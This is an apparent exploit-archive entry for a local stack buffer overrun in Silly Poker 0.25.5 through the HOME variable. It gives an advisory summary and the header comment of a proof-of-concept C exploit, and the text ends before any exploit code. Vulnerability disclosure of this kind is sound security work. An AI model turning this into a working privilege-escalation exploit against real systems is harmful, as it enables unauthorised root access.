Description

Silly Poker 0.25.5 Local HOME Environment Variable Buffer Overrun Vulnerability. Local exploit for linux platform

                                        
                                            source: http://www.securityfocus.com/bid/8736/info

A local buffer overrun vulnerability has been reported for Silly Poker. The problem occurs due to insufficient bounds checking when handling user-supplied data. As a result, an attacker may be capable of controlling the execution flow of the sillypoker program and effectivley executing arbitrary code with elevated privileges. 

/* c-sillyPoker.c
 *
 * PoC exploit made for advisory based uppon an local stack based overflow.
 * Vulnerable versions, maybe also prior versions:
 *
 * silly Poker v0.25.5
 *
 * Tested on:  Debian 3.1
